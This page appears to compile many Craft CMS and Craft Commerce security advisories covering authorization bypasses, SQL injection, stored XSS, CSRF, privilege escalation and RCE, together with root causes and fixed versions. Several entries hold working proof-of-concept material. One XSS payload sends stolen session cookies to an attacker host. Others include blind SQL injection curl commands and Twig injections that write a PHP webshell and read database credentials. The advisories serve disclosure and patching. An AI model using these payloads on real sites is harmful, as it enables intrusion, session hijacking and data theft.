See how craftcms compares to other vendors in security performance
Summary
An authenticated control panel user with only accessCp can move entries across sections via POST /actions/entries/move-to-section, even when they do not have saveEntries:{sectionUid} permission for either source or destination section.
Details
Root-cause analysis
1. actionMoveToSection accepts sectionId and entryIds, loads entries, and iterates: Craft::$app->getEntries()->moveEntryToSection($entry, $section). 2. The endpoint does not enforce per-entry or per-section authorization checks. 3. moveEntryToSection() also does not enforce current-user authorization. 4. There is a permission check in actionMoveToSectionModalData for building UI options, but that check is not enforced in the actual endpoint. 5. Therefore, a direct POST request can bypass UI filtering and perform unauthorized entry moves.
### Impact
This is an authorization bypass permitting unauthorized content changes. Authenticated low-privileged control panel users can move entries they should not be able to manage, violating integrity and potentially disrupting routing/editorial controls.
Summary
A low-privileged authenticated user can call assets/image-editor with the ID of a private asset they cannot view and still receive editor response data, including focalPoint.
The endpoint returns private editing metadata without per-asset authorization validation.
Root-cause analysis:
1. actionImageEditor() accepts assetId from the request body. 2. The asset is loaded, and the focal-point data is read. 3. Response returns html and focalPoint. 4. No explicit authorization check is applied before the response.
Impact
Affected deployments:
Craft sites where asset edit metadata should remain restricted to authorized users.
Security consequence:
Unauthorized users can extract private editor metadata and related editor context for inaccessible assets.
Summary
An unauthenticated user can call assets/generate-transform with a private assetId, receive a valid transform URL, and fetch transformed image bytes.
The endpoint is anonymous and does not enforce per-asset authorization before returning the transform URL.
Details
Root cause: - Anonymous endpoint accepts user-controlled asset reference. - It creates and returns a transform URL for that asset without checking access rights. - If the transform output is reachable, guest users can read content derived from private assets.
Who is impacted:
- Installations where private source assets can be transformed and transform URLs are reachable.
Security consequence:
- Anonymous users can obtain content derived from private assets without authentication.
Resources
https://github.com/craftcms/cms/commit/7290d91639e
Summary Guest users can access Config Sync updater index, obtain signed data, and execute state-changing Config Sync actions (regenerate-yaml, apply-yaml-changes) without authentication.
Details
ConfigSyncController extends BaseUpdaterController, and the base updater is anonymously accessible for control panel requests. index emits signed updater state (data), which can be reused by guests in subsequent requests.
Sensitive actions that are reachable via this method are actionApplyYamlChanges, actionRegenerateYaml, applyExternalChanges, and regenerateExternalConfig.
Reproduction steps
1. Guest POST to:
http POST /admin/actions/config-sync/index
2. Extract data from returned JS state:
Craft.updater = ... setState({"data":"<signedData>", ...});
3. Reuse data as a guest:
POST /admin/actions/config-sync/regenerate-yaml data=<signedData>&<csrfParam>=<csrfToken>
or
POST /admin/actions/config-sync/apply-yaml-changes data=<signedData>&<csrfParam>=<csrfToken>
4. Observe completed response and state/file changes.
Impact
Unauthenticated users can execute project configuration sync operations that should be restricted to trusted admin/deployment contexts.
Depending on the pending YAML/config state, this can cause unauthorized config state transitions and a service integrity risk.
Resources
https://github.com/craftcms/cms/commit/7f0ead833f7
Summary
A low-privileged authenticated user can read private asset content by calling assets/edit-image with an arbitrary assetId that they are not authorized to view.
The endpoint returns image bytes (or a preview redirect) without enforcing a per-asset view authorization check, leading to potential unauthorized disclosure of private files.
Details
Root cause: - A user-controlled object reference (assetId) is used to load and return sensitive content. - The action does not verify whether the current user is authorized to view that asset. - This creates an authenticated IDOR / authorization bypass.
Impact
- Craft installations where private/non-public assets exist and low-privileged users can authenticate.
Resources
https://github.com/craftcms/cms/commit/7290d91639e
Summary
A Remote Code Execution (RCE) vulnerability exists in Craft CMS 5.x and 4.x that bypasses the security fixes for GHSA-7jx7-3846-m7w7 and GHSA-255j-qw47-wjh5. This vulnerability can be exploited by any authenticated user with control panel access.
The existing patches add cleanseConfig() to assembleLayoutFromPost() and various FieldsController actions to strip Yii2 behavior/event injection keys (as and on prefixed keys). However, the fieldLayouts parameter in ElementIndexesController::actionFilterHud() is passed directly to FieldLayout::createFromConfig() without any sanitization, enabling the same behavior injection attack chain.
Impact
- Attack Type: Remote Code Execution (RCE) - Authentication Required: Authenticated user with control panel access (accessCp permission)
Vulnerability Details
Root Cause
In ElementIndexesController::actionFilterHud() (line 493-494), the fieldLayouts body parameter is passed to FieldLayout::createFromConfig() without cleanseConfig():
php // ElementIndexesController.php:485-494 if ($conditionConfig) { $conditionConfig = Component::cleanseConfig($conditionConfig); // conditionConfig IS cleansed $condition = $conditionsService->createCondition($conditionConfig); } else { $condition = $this->elementType()::createCondition(); }
if (!empty($fieldLayouts)) { // fieldLayouts is NOT cleansed! $condition->setFieldLayouts(arraymap( fn(array $config) => FieldLayout::createFromConfig($config), $fieldLayouts )); }
Note the inconsistency: conditionConfig is sanitized with cleanseConfig(), but fieldLayouts is not.
Attack Chain
1. Send a fieldLayouts array containing config with "as <name>" prefixed keys 2. FieldLayout::createFromConfig($config) -> new self($config) -> Model::construct($config) 3. App::configure($this, $config) processes each key 4. "as rce" key -> Component::set("as rce", $value) -> Yii::createObject($value) -> instantiates AttributeTypecastBehavior and attaches it to the FieldLayout 5. "on " key -> registers a wildcard event handler 6. parent::construct() -> init() -> setTabs([]) -> getAvailableNativeFields() -> trigger(EVENTDEFINENATIVEFIELDS) 7. The wildcard handler fires -> AttributeTypecastBehavior::beforeSave() -> typecastAttributes() 8. $this->owner->typecastBeforeSave -> resolved via Component::get() -> returns the command string from the behavior's own property 9. calluserfunc([ConsoleProcessus::class, 'execute'], $command) -> shellexec($command)
Prerequisites
- A user account with control panel access
Craft CMS is a content management system (CMS). In versions 5.9.0-beta.1 through 5.9.10, the revision/draft context menu in the element editor renders the creator’s fullName as raw HTML due to the use of Template::raw() combined with Craft::t() string interpolation. A low-privileged control panel user (e.g., Author) can set their fullName to an XSS payload via the profile editor, then create an entry with two saves. If an administrator is logged in and executes a specifically crafted payload while an elevated session is active, the attacker’s account can be elevated to administrator. This issue has been fixed in version 5.9.11.
Summary A low-privilege user (or an unauthenticated user who has been sent a shared URL) can escalate their privileges to admin by abusing UsersController->actionImpersonateWithToken.
Affected users should update to Craft 4.17.6 and 5.9.12 to mitigate the issue.
Details This vulnerability allows any low-privilege user to escalate their privileges and become an admin, or, in extreme circumstances, unprivileged users to do the same.
Therefore, this vulnerability affects Craft Pro and Team more than Craft Solo.
Specifically, an attacker who possesses a valid “preview token” can then append &action=users/impersonate-with-token&userId=1&prevUserId=1 to the preview URL to hijack the request into the impersonation endpoint, logging in as any user (including admin) without authentication. Getting the preview token is easy, and all an editor would have to do is create a single article, click “Preview”, and then recover this token.
Here’s what happens:
1. The action re-dispatch in actionPreview() passes $skipSpecialHandling=true to handleRequest(), bypassing all security guards, and passes $checkToken=false to checkIfActionRequest(), which allows an attacker-controlled action query parameter to override the dispatch target. 2. The requireToken() guard on actionImpersonateWithToken() only checks a boolean (hadToken) that was set when the preview token was initially resolved. It does not verify that the token was intended for the impersonation action, and so any valid token from any route satisfies the check. 3. actionImpersonateWithToken is listed in $allowAnonymous and performs no authorization beyond requireToken(), so no prior authentication is required.
PoC
The PoC achieves full admin takeover on the latest Craft CMS 5.9.10. Spawn a local version of Craft. Then, you’ll want to log in and create a valid setup:
1. Log in at http://host:18895/admin 2. Go to Settings, Sections, New Section (name: "Blog", type: "Channel") 3. Under Site Settings, set URI Format to blog/{slug} 4. Then go to Entries, New Entry, Blog, and give it any title
Next, obtain a preview token
1. Open the saved entry in the editor 2. Click the Preview button 3. A preview pane opens with the entry rendered in an iframe 4. Right-click inside the preview pane and Inspect Element 5. Find the <iframe> element; its src contains the tokenized URL: http://host:18895/blog/title?x-craft-live-preview=...&token=XXXXXXXX 6. Copy the token= value
Finally, execute the exploit:
1. Open a new incognito/private browser window 2. Navigate to: http://host:18895/?token=XXXXXXXX&action=users/impersonate-with-token&userId=1&prevUserId=1 3. You may see a 404. This is expected.
To verify the exploit, in the same incognito tab, navigate to http://host:18895/admin. You should land on the admin dashboard, logged in as admin, without ever entering credentials.
Impact
Privilege escalation; everyone is impacted.
Craft CMS is a content management system (CMS). From version 4.0.0-RC1 to before version 4.17.5 and from version 5.0.0-RC1 to before version 5.9.11, there is a Behavior injection RCE vulnerability in ElementIndexesController and FieldsController. Craft control panel administrator permissions and allowAdminChanges must be enabled for this to work. This issue has been patched in versions 4.17.5 and 5.9.11.
Craft CMS is a content management system (CMS). From version 5.6.0 to before version 5.9.11, in src/controllers/EntryTypesController.php, the $settings array from parsestr is passed directly to Craft::configure() without Component::cleanseConfig(). This allows injecting Yii2 behavior/event handlers via "as" or "on" prefixed keys, the same attack vector as the original advisory. Craft control panel administrator permissions and allowAdminChanges must be enabled for this to work. This issue has been patched in version 5.9.11.
Craft CMS is a content management system (CMS). From version 4.0.0-RC1 to before version 4.17.5 and from version 5.0.0-RC1 to before version 5.9.11, the AssetsController->replaceFile() method has a targetFilename body parameter that is used unsanitized in a deleteFile() call before Assets::prepareAssetName() is applied on save. This allows an authenticated user with replaceFiles permission to delete arbitrary files within the same filesystem root by injecting ../ path traversal sequences into the filename. This could allow an authenticated user with replaceFiles permission on one volume to delete files in other folders/volumes that share the same filesystem root. This only affects local filesystems. This issue has been patched in versions 4.17.5 and 5.9.11.
A Remote Code Execution vulnerability exists in the Craft CMS 5 conditions system.
The BaseElementSelectConditionRule::getElementIds() method passes user-controlled string input through renderObjectTemplate() -- an unsandboxed Twig rendering function with escaping disabled.
Any authenticated Control Panel user (including non-admin roles such as Author or Editor) can achieve full RCE by sending a crafted condition rule via standard element listing endpoints.
This vulnerability requires no admin privileges, no special permissions beyond basic control panel access, and bypasses all production hardening settings (allowAdminChanges: false, devMode: false, enableTwigSandbox: true).
Users should update to the patched 5.99 release to mitigate the issue.
Craft is a content management system (CMS). The ElementSearchController::actionSearch() endpoint is missing the unset() protection that was added to ElementIndexesController in CVE-2026-25495. The exact same SQL injection vulnerability (including criteria[orderBy], the original advisory vector) works on this controller because the fix was never applied to it. Any authenticated control panel user (no admin required) can inject arbitrary SQL via criteria[where], criteria[orderBy], or other query properties, and extract the full database contents via boolean-based blind injection. Users should update to the patched 5.9.9 release to mitigate the issue.
Summary
The fix for CVE-2025-35939 in craftcms/cms introduced a striptags() call in src/web/User.php to sanitize return URLs before they are stored in the session. However, striptags() only removes HTML tags (angle brackets) -- it does not inspect or filter URL schemes. Payloads like javascript:alert(document.cookie) contain no HTML tags and pass through striptags() completely unmodified, enabling reflected XSS when the return URL is rendered in an href attribute.
Details The patched code in is:
php public function setReturnUrl($url): void { parent::setReturnUrl(striptags($url)); }
striptags() removes HTML tags (e.g., <script>, <img>) from a string, but it is not a URL sanitizer. When the sanitized return URL is subsequently rendered in an href attribute context (e.g., <a href="{{ returnUrl }}">), the following dangerous payloads survive striptags() completely unmodified:
1. javascript: protocol URLs -- javascript:alert(document.cookie) contains no HTML tags, so striptags() returns it verbatim. When placed in an href, clicking the link executes the JavaScript.
2. data: URIs -- data:text/html;base64,PHNjcmlwdD5hbGVydCgxKTwvc2NyaXB0Pg== uses Base64 encoding and contains no tags at all, bypassing striptags() entirely.
3. Protocol-relative URLs -- //evil.com/steal contains no tags and is passed through unchanged. When rendered as an href, the browser resolves it relative to the current page’s protocol, redirecting the user to an attacker-controlled domain.
The core issue is that striptags() operates on HTML syntax (angle brackets) while the threat model here requires URL scheme validation. These are fundamentally different security concerns.
Impact
Reflected XSS via crafted return URL. An attacker constructs a malicious link such as https://target.example.com/craft/?returnUrl=javascript:alert(document.cookie) and sends it to a victim. The attack flow is:
1. Victim clicks the link, visiting the Craft CMS site. 2. The application calls setReturnUrl() with the attacker-controlled value. 3. striptags() processes the URL but finds no HTML tags -- it passes through unchanged. 4. The URL is stored in the session and later rendered in an href attribute (e.g., a "Return" or "Continue" link). 5. When the victim clicks that link, javascript:alert(document.cookie) executes in the context of the Craft CMS origin.
This enables: - Session hijacking via cookie theft (document.cookie) - Data exfiltration via fetch() to an attacker-controlled server - Phishing by redirecting to a lookalike domain (protocol-relative URL) - CSRF by performing actions on behalf of the authenticated user
An Insecure Direct Object Reference (IDOR) vulnerability exists in Craft Commerce’s cart functionality that allows users to hijack any shopping cart by knowing or guessing its 32-character number. This vulnerability enables the takeover of shopping sessions and potential exposure of PII.
Vulnerability Details
Root Cause
The CartController accepts a user-supplied number parameter to load and modify shopping carts. No ownership validation is performed - the code only checks if the order exists and is incomplete, not whether the requester has authorization to access it.
php // CartController.php:374-389 - actionLoadCart() public function actionLoadCart(): ?Response { $number = $this->request->getParam('number');
if ($number === null) { return $this->asFailure(Craft::t('commerce', 'A cart number must be specified.')); }
// No ownership check - returns any cart to any requester $cart = Order::find()->number($number)->isCompleted(false)->one();
// Cart is loaded into attacker's session without authorization ... }
php // CartController.php:606-616 - getCart() $orderNumber = $this->request->getBodyParam('number'); if ($orderNumber) { // Same issue - no ownership validation $cart = Order::find()->number($orderNumber)->isCompleted(false)->one(); // Returns cart to any requester who knows the number } ---
Attack Scenario
Prerequisites - Target Craft Commerce installation with active shopping carts - Knowledge of a victim’s cart number (32-character hex string)
Cart Number Acquisition Vectors
1. Referrer Header Leakage: Cart URLs shared externally expose the number 2. Browser History: Accessible on shared/compromised devices 3. Proxy/WAF Logs: Cart numbers logged in URL parameters 4. Social Engineering: Support tickets, screenshots containing cart URLs 5. Brute Force: While impractical for random targeting, feasible for targeted attacks against recently-created carts
---
Summary A Stored Cross-Site Scripting (XSS) vulnerability exists in the Craft Commerce Order details. Malicious JavaScript can be injected via the Shipping Method Name, Order Reference, or Site Name. When a user opens the order details slideout via a double-click on the order index page, the injected payload executes.
Reproduction Steps 1. Navigate to Commerce -> Store Management -> Shipping Methods. 1. Click "New Shipping Method". 1. In the Name field, enter the following XSS payload: html <img src=x onerror=alert('XSSShipping')> 1. Save the Shipping Method. 1. Place a new order or edit an existing order. 1. Set the order's Shipping Method to the one created in the previous steps. 1. Navigate to the Orders index page (/admin/commerce/orders). 1. Double-click the target order to open the details slideout. 1. Result: The XSS payload executes.
Summary A stored XSS vulnerability exists in the Commerce Settings - Inventory Locations page. The Name field is rendered without proper HTML escaping, allowing an attacker to execute arbitrary JavaScript.
This XSS triggers when an administrator (or user with product editing permissions) creates or edits a variant product.
Proof of Concept
Permissions Required - General - Access the control panel - Access Craft Commerce
- Craft Commerce - Manage inventory locations
Steps to Reproduce
1. Log in to the control panel 2. Navigate to Commerce → Inventory Locations 3. Create or edit a location 4. Set Name to the following payload: html <img src=x onerror="alert('XSS')"> 5. Save the location 6. Navigate to Commerce → Products and click "New Product" and click "New product variant" 7. The Inventory Location table loads, rendering the Inventory Location Name 8. XSS executes
Impact - Potential Session Hijacking - Potential Database Exfiltration - Potential Account Takeover by forcing a password change on the victim’s account. - Potential Privilege escalation, or creating new admin users.
Mitigation Sanitize the inventory location name field when rendering in the "Track Inventory" table.
Summary
Stored XSS vulnerabilities exist in the Commerce Inventory page. The Product Title, Variant Title, and Variant SKU fields are rendered without proper HTML escaping, allowing an attacker to execute arbitrary JavaScript when any user (including administrators) views the inventory management page.
This vulnerability enables session hijacking by fetching the PHP Info utility page, which displays unmasked session cookies. Unlike other XSS chains that require elevated sessions, this attack provides instant access to the victim’s session - no additional user interaction or elevated session approval required.
Proof of Concept
Permissions Required
- Access the control panel - Access Craft Commerce - Create/Edit products
Steps to Reproduce 1. Log in to the control panel 2. Navigate to Commerce → Products 3. Add a new product and set the Title field to: (replace https://attacker.com) html <img src=x onerror="fetch('/admin/utilities/php-info').then(r=>r.text()).then(t=>{m=t.match(/<th[^>]>Cookie[^<]<\/th>\s<td[^>]>([\s\S]?)<\/td>/);if(m)new Image().src='https://attacker.com/s?c='+btoa(m[1])})"> 4. Save the product 5. Navigate to Commerce → Inventory (/admin/commerce/inventory) 6. XSS executes, fetches PHP Info page, extracts session cookies, and exfiltrates them to the attacker server
Cookie Extraction Details The PHP Info page (/admin/utilities/php-info) displays cookie values (unmasked) in multiple locations: - HTTPCOOKIE - Cookie (used in this PoC) - $SERVER['HTTPCOOKIE'] - $COOKIE['<cookie-name>']
Notes - The same vulnerability exists in Variant Title and Variant SKU fields while creating a product. The PoC focuses on Product Title, but the same attack works for the other two fields. - $COOKIE['CRAFTCSRFTOKEN'] is masked in PHP Info, but the unmasked value is available in the other parameters listed above. - This vulnerability can also be chained to achieve full database exfiltration or do it after hijacking an administrator session.
Mitigation 1. Sanitize product and variant fields when rendering in the inventory template 2. Mask sensitive cookie values in the PHP Info utility page (similar to how CRAFTCSRFTOKEN, CRAFTSECURITYKEY, and CRAFTDBPASSWORD are already masked)
Summary
Craft Commerce is vulnerable to SQL Injection in the inventory levels table data endpoint. The sort[0][direction] and sort[0][sortField] parameters are concatenated directly into an addOrderBy() clause without any validation or sanitization. An authenticated attacker with access to the Commerce Inventory section can inject arbitrary SQL queries, potentially leading to a full database compromise.
--- PoC Required Permissions - General - Access the control panel - Access Craft Commerce - Craft Commerce - Manage inventory stock levels
Steps to reproduce 1. Log in to the control panel 2. Navigate to Commerce > Inventory 3. Click on any sortable column header (e.g., "SKU") to trigger a sort request 4. Intercept the request and modify sort[0][direction] or sort[0][sortField] parameters and append ,sleep(2) payload to it's current value as follows:
bash sort[0][sortField]=sku,sleep(2) GET /index.php?p=admin/actions/commerce/inventory/inventory-levels-table-data&sort[0][sortField]=sku,sleep(2)&sort[0][direction]=asc&inventoryLocationId=1&containerId=%23inventory-levels sort[0][direction]=asc,sleep(2) GET /index.php?p=admin/actions/commerce/inventory/inventory-levels-table-data&sort[0][sortField]=sku&sort[0][direction]=asc,sleep(2)&inventoryLocationId=1&containerId=%23inventory-levels
6. Observe the delay in the response, confirming the injection
Alternatively, you can use the following curl (bash syntax) command (replace cookie and target domain as needed): bash sort[0][sortField]=sku,sleep(2) curl --path-as-is -k -H $'User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:146.0) Gecko/20100101 Firefox/146.0' -H $'Accept: application/json, text/plain, /' -b $'<Cookie>' $'http://craft.local/index.php?p=admin/actions/commerce/inventory/inventory-levels-table-data&sort%5b0%5d%5bfield%5d=purchasable&sort%5b0%5d%5bsortField%5d=sku,sleep(2)&sort%5b0%5d%5bdirection%5d=asc&page=1&perpage=25&inventoryLocationId=1&containerId=%23inventory-levels' sort[0][direction]=asc,sleep(2) curl --path-as-is -k -H $'User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:146.0) Gecko/20100101 Firefox/146.0' -H $'Accept: application/json, text/plain, /' -b $'<Cookie>' $'http://craft.local/index.php?p=admin/actions/commerce/inventory/inventory-levels-table-data&sort%5b0%5d%5bfield%5d=purchasable&sort%5b0%5d%5bsortField%5d=sku&sort%5b0%5d%5bdirection%5d=asc,sleep(2)&page=1&perpage=25&inventoryLocationId=1&containerId=%23inventory-levels'
Impact With this Blind SQLi, an attacker can: - Exfiltrate data character-by-character using time-based techniques. - Modify or destroy data (drop tables, update records, alter schema).
Summary A stored XSS vulnerability exists when a user tries to update the Order Status from the Commerce Orders Table. The Order Status Name is rendered without proper escaping, allowing script execution to occur.
--- Proof of Concept Required Permissions - Admin access (to edit/create Order Statuses)
Steps to Reproduce 1. Log in with an admin account 2. Navigate to Commerce → Settings → Order Statuses 3. Create a new order status 4. Set the Name field to: html <img src=x onerror="alert('Order Statuses XSS')"> 5. Save the order status 6. Go to Commerce → Orders (make sure you placed any orders) 7. From the left panel, select any Order Status (e.g., New) 8. Select any order from the orders table → Click on the Gear Icon → then click "Update Order Status..." 9. Notice the XSS execution
Summary Craft Commerce is vulnerable to SQL Injection in the purchasables table endpoint. The sort parameter is split by | and the first part (column name) is passed directly as an array key to orderBy() without whitelist validation. Yii2's query builder does NOT escape array keys, allowing an authenticated attacker to inject arbitrary SQL into the ORDER BY clause.
--- PoC Required Permissions - General - Access the control panel - Access Craft Commerce - Craft Commerce - Manage orders - Edit orders
Steps to reproduce 1. Log in to the control panel 2. Navigate to Commerce > Orders > Create a new order 3. Click on "Add a line item" to show the purchasables table 4. Intercept the AJAX request and modify the sort parameter as follows: http GET /index.php?p=admin/actions/commerce/orders/purchasables-table&siteId=1&sort=id,(SELECT%20SLEEP(2))|asc 5. Observe the delay in the response, confirming the injection
Alternatively, you can use the following curl (bash syntax) command (replace cookie and target domain as needed): bash curl --path-as-is -k -H $'User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:146.0) Gecko/20100101 Firefox/146.0' -H $'Accept: application/json, text/plain, /' -b $'<Cookie>' $'http://craft.local/index.php?p=admin%2Factions%2Fcommerce%2Forders%2Fpurchasables-table&siteId=1&sort=id,(SELECT%20SLEEP(5))|asc'
Impact With this Blind SQLi, an attacker can: - Exfiltrate data character-by-character (same technique as GHSA-pmgj-gmm4-jh6j). - Modify or destroy data (drop tables, update records, alter schema).
Summary
Craft CMS has a CSRF issue in the preview token endpoint at /actions/preview/create-token. The endpoint accepts an attacker-supplied previewToken.
Because the action does not require POST and does not enforce a CSRF token, an attacker can force a logged-in victim editor to mint a preview token chosen by the attacker.
That token can then be used by the attacker (without authentication) to access previewed/unpublished content tied to the victim’s authorized preview scope.
---
Preconditions - Victim is logged in to Craft control panel. - Victim has active preview authorization in session for target content (e.g., opened/edited an entry). - The attacker must know the target’s canonicalId and public URL path of that entry.
1) Attacker prepares a fixed token Use any 32-character value, for example: text aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
2) CSRF victim into minting that token Send the victim a link (or top-level redirect) such as: text https://TARGET/actions/preview/create-token?elementType=craft%5Celements%5CEntry&canonicalId=123&siteId=1&previewToken=aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa&redirect=https%3A%2F%2FTARGET%2F
If the victim is logged in and authorized for previewElement:123, Craft creates that exact token.
3) Attacker accesses preview content unauthenticated bash curl -i 'https://TARGET/news/known-entry-slug?token=aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa'
Expected vulnerable behavior:
- Response renders preview/unpublished state (draft/provisional context), not just normal public content.
---
Impact - CSRF-based minting of attacker-known preview tokens. - Unauthorized access to draft/provisional/revision content via token replay. - Stealthy one-click exploitation against logged-in editors/admins. - No dependency on forwarded-host poisoning.
---
Craft is a content management system (CMS). Prior to 5.9.0-beta.2 and 4.17.0-beta.2, the actionSendActivationEmail() endpoint is accessible to unauthenticated users and does not require a permission check for pending users. An attacker with no prior access can trigger activation emails for any pending user account by knowing or guessing the user ID. If the attacker controls the target user’s email address, they can activate the account and gain access to the system. This vulnerability is fixed in 5.9.0-beta.2 and 4.17.0-beta.2.
Craft is a content management system (CMS). Prior to 5.8.22 and 4.16.18, it is possible to craft a malicious payload using the Twig map filter in text fields that accept Twig input under Settings in the Craft control panel or using the System Messages utility, which could lead to a RCE. For this to work, you must have administrator access to the Craft Control Panel, and allowAdminChanges must be enabled for this to work, which is against our recommendations for any non-dev environment. Alternatively, you can have a non-administrator account with allowAdminChanges disabled, but you have access to the System Messages utility. Users should update to the patched versions (5.8.22 and 4.16.18) to mitigate the issue.
Description The "Duplicate" entry action does not properly verify if the user has permission to perform this action on the specific target elements. Even with only "View Entries" permission (where the "Duplicate" action is restricted in the UI), a user can bypass this restriction by sending a direct request.
Furthermore, this vulnerability allows duplicating other users' entries by specifying their Entry IDs. Since Entry IDs are incremental, an attacker can trivially brute-force these IDs to duplicate and access restricted content across the system.
Proof of Concept Prerequisites - A user with "View Entries" permission on any section.
Steps to Reproduce 1. Log in as a user with minimal permissions ("View Entries"). 1. Identify the target Entry ID (e.g., via brute-force 1 to N). 1. Send the following cURL request: > Replace craft.local, <Cookie>, <CSRF> and 6393 (which is the entry ID): bash curl --path-as-is -i -s -k -X $'POST' -H $'User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:146.0) Gecko/20100101 Firefox/146.0' -H $'Accept: application/json' -H $'Content-Type: application/json' -H $'X-CSRF-Token: <CSRF>' -H $'Content-Length: 216' -b $'<Cookie>' --data-binary $'{\"context\":\"index\",\"elementType\":\"craft\\\\elements\\\\Entry\",\"source\":\"section:17da21e5-0cfe-41f5-8cd2-450a94f7989c\",\"viewState\":{\"static\":true},\"elementAction\":\"craft\\\\elements\\\\actions\\\\Duplicate\",\"elementIds\":[6393]}' $'http://craft.local/index.php?p=admin%2Factions%2Felement-indexes%2Fperform-action' 1. Observe that a new entry is created with the attacker as the owner, granting full access to the content.
Resources
https://github.com/craftcms/cms/commit/fb61a91357f5761c852400185ba931f51d82783d
Craft CMS implements a blocklist to prevent potentially dangerous PHP functions from being called via Twig non-Closure arrow functions.
In order to be able to successfully execute this attack, you need to either have allowAdminChanges enabled on production, or a compromised admin account, or an account with access to the System Messages utility.
Several PHP functions are not included in the blocklist, which could allow malicious actors with the required permissions to execute various types of payloads, including RCEs, arbitrary file reads, SSRFs, and SSTIs.
Twig has already deprecated this behavior, and it will eventually be removed from Twig altogether.
https://github.com/twigphp/Twig/blob/946ddeafa3c9f4ce279d1f34051af041db0e16f2/src/Extension/CoreExtension.php#L2096
This has been resolved in Craft 4.17.0 and 5.9.0, which removes the blocklist and disables all non-Clousure arrow functions in Twig globally via the enableTwigSandbox config setting. That setting is enabled by default on all new Craft projects. Existing Craft projects will need to enable the config setting to take advantage of it.
Existing projects should update to the patched versions of 5.9.0 and 4.17.0 to mitigate the issue and enable the config setting.
Resources
https://github.com/craftcms/cms/pull/18208
Description The entry creation process allows for Mass Assignment of the authorId attribute. A user with "Create Entries" permission can inject the authorIds[] (or authorId) parameter into the POST request, which the backend processes without verifying if the current user is authorized to assign authorship to others.
Normally, this field is not present in the request for users without the necessary permissions. By manually adding this parameter, an attacker can attribute the new entry to any user, including Admins. This effectively "spoofs" the authorship.
Proof of Concept Prerequisites - A user account with "Create Entries" permission for a section. - Victim's account ID (e.g., 1 for the default Admin).
Steps to Reproduce 1. Log in as the attacker 1. Navigate to the "Entries" section and click "New Entry" 1. Fill in the required fields 1. Enable a proxy tool (e.g., Burp Suite) to intercept requests 1. Click "Save" & Intercept the request 1. In the request body, add a new parameter to the body params: &authorIds[]=<VictimID> 1. Forward the request 1. Log in as an admin / as with the victim account 1. Go to entries & Observe the newly created entry is listed and the author is the victim account, not the actual creator
Impact - A user can create entries that appear to belong to higher-privileged users, potentially bypassing review processes or gaining trust based on false authorship. - An attacker could post malicious or inappropriate content attributed to an administrator or other trusted users.
Resources
https://github.com/craftcms/cms/commit/c6dcbdffaf6ab3ffe77d317336684d83699f4542 https://github.com/craftcms/cms/commit/830b403870cd784b47ae42a3f5a16e7ac2d7f5a8
Summary
An authenticated administrator can achieve Remote Code Execution (RCE) by injecting a Server-Side Template Injection (SSTI) payload into Twig template fields (e.g., Email Templates). By calling the craft.app.fs.write() method, an attacker can write a malicious PHP script to a web-accessible directory and subsequently access it via the browser to execute arbitrary system commands.
--- Proof of Concept
Attack Prerequisites
- Authenticated administrator account with allowAdminChanges enabled, or access to the System Messages utility
Steps to Reproduce
1. Navigate to Utilities → System Messages (/admin/utilities/system-messages) 2. Edit any email template (e.g., "Test Email") and inject the following in the body (or the Subject): - To exploit it by writing to a file system: - Note: Replace the filesystem handle (e.g., hardDisk) with a valid handle configured in the target installation. twig {{ craft.app.fs.getFilesystemByHandle('hardDisk').write('shell.php', '<?php isset($GET["c"]) ? system($GET["c"]) : null; ?>') }} - To exploit it by writing to a volume: - Note: Replace the volume handle (e.g., images) with a valid handle configured in the target installation. twig {{ craft.app.volumes.getVolumeByHandle('images').fs.write('shell.php', '<?php isset($GET["c"]) ? system($GET["c"]) : null; ?>') }} <img width="982" height="901" alt="payload-injection" src="https://github.com/user-attachments/assets/86fbb99c-a551-4395-93a1-30e62e77c57e" /> 3. Save & go to Settings → Email (/admin/settings/email) 4. Click "Test" at the bottom of the page to trigger template rendering 5. The webshell is now written to the filesystem/volume. Access it via curl or directly from the browser: Note: The path might be different on your end depending on the filesystem or volume configuration. bash # For Filesystem curl "http://target.com/uploads/shell.php?c=id" # For Volume curl "http://target.com/uploads/images/shell.php?c=id" # Example Output: uid=33(www-data) gid=33(www-data) groups=33(www-data) <img width="791" height="440" alt="rce-poc" src="https://github.com/user-attachments/assets/6a895609-bea0-459a-9659-0d1437f838f4" />
--- Additional Impact
The same craft.app exposure without any security measures enables additional attack vectors:
Database Credential Disclosure
Database credentials are stored in .env outside the webroot and are not accessible to admins through the UI. This bypasses that protection.
twig {{ craft.app.db.username }} {{ craft.app.db.password }} {{ craft.app.db.dsn }}
Security Key Disclosure
Craft explicitly redacts the security key from phpinfo and error logs, indicating it should be protected. However, craft.app.config.general.securityKey bypasses this protection. twig {{ craft.app.config.general.securityKey }} Recommended Fix - Add Twig sandbox rules to block write, writeFileFromStream, deleteFile, and similar destructive methods - Consider allowlist approach for craft.app properties accessible in templates rather than exposing the entire application
Resources
https://github.com/craftcms/cms/commit/9dc2a4a3ec8e9cd5e8c0d1129f36371437519197 https://github.com/craftcms/cms/pull/18219 https://github.com/craftcms/cms/pull/18216
Craft is a content management system (CMS). Prior to 4.17.0-beta.1 and 5.9.0-beta.1, the GraphQL directive @parseRefs, intended to parse internal reference tags (e.g., {user:1:email}), can be abused by both authenticated users and unauthenticated guests (if a Public Schema is enabled) to access sensitive attributes of any element in the CMS. The implementation in Elements::parseRefs fails to perform authorization checks, allowing attackers to read data they are not authorized to view. This vulnerability is fixed in 4.17.0-beta.1 and 5.9.0-beta.1.
Craft is a content management system (CMS). There is an authenticated admin RCE in Craft CMS 5.8.21 via Server-Side Template Injection using the create() Twig function combined with a Symfony Process gadget chain. The create() Twig function exposes Craft::createObject(), which allows instantiation of arbitrary PHP classes with constructor arguments. Combined with the bundled symfony/process dependency, this enables RCE. This bypasses the fix implemented for CVE-2025-57811 (patched in 5.8.7). This vulnerability is fixed in 5.9.0-beta.1 and 4.17.0-beta.1.